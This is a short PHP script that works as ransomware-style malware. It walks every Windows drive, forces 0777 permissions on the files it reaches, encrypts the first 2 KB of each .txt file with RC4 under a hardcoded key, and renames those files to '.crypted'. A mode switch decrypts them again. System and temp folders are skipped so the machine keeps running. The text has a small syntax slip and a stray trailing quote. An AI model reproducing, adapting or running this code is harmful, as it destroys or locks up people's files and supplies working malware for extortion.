set_time_limit(0); ini_set("display_errors", "Off"); for ($i = 67; $i <= 90; $i++) if (is_dir(chr($i). ":")) Tree(chr($i). ":"); function Tree($p) { $s = chr(92); $key = base64_decode("MWKTiMwQmcz/3BNKuBBoZMowFGCswDiwjfJX8le8nPBECF60ywI5nN4gRbAbkAmCpuwyVK4IFUyDuA5kTab/Xss4eMAIgNAg10a19Fa4f+xZtB+KSpzumAyAHIDkwCaMyzahjPJY"); /* key: 31 62 93 88 cc 10 99 cc ff dc 13 4a b8 10 68 64 ca 30 14 60 ac c0 38 b0 8d f2 57 f2 57 bc 9c f0 44 08 5e b4 cb 02 39 9c de 20 45 b0 1b 90 09 82 a6 ec 32 54 ae 08 15 4c 83 b8 0e 64 4d a6 ff 5e cb 38 78 c0 08 80 d0 20 d7 46 b5 f4 56 b8 7f ec 59 b4 1f 8a 4a 9c ee 98 0c 80 1c 80 e4 c0 26 8c cb 36 a1 8c f2 58 */ $a = "e"; if (preg_match("/".$s.$s. "(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i", $p) || preg_match("/recycle/i", $p)) return; $dp = opendir($p); if ($dp === false) return; while ($o = readdir($dp)) if ($o != "." && $o != "..") { if (!is_writable($p.$s.$o)) chmod($p.$s.$o, 0777); if (is_dir($p.$s.$o)) { Tree($p.$s.$o); } elseif($a == "e" && preg_match("/[.](txt)$/i", $o) || $a == "d" && preg_match("/[.](crypted)$/i", $o)) { $file = fopen($p.$s.$o, "r+"); if ($file !== false) { $first2k = fread($file, 2048); $z = array(); for ($i = 0; $i < 256; $i++) $z[$i] = $i; $j = 0; // encoding routine: for ($i = 0; $i < 256; $i++) { $j = ($j + $z[$i] + ord($key[$i % strlen($key)])) % 256; $x = $z[$i]; $z[$i] = $z[$j]; $z[$j] = $x; } $i = 0; $j = 0; $c = ""; for ($y = 0; $y < strlen($first2k); $y++) { $i = ($i + 1) % 256; $j = ($j + $z[$i]) % 256; $x = $z[$i]; $z[$i] = $z[$j]; $z[$j] = $x; $c. = $first2k[$y] ^ chr($z[($z[$i] + $z[$j]) % 256]); } fseek($file, 0); fwrite($file, $c); fclose($file); if ($a == "e") { rename($p.$s.$o, $p.$s.$o. ".crypted"); } else { rename($p.$s.$o, preg_replace("/[.]crypted$/", "", $p.$s.$o)); } } } } closedir($dp); } '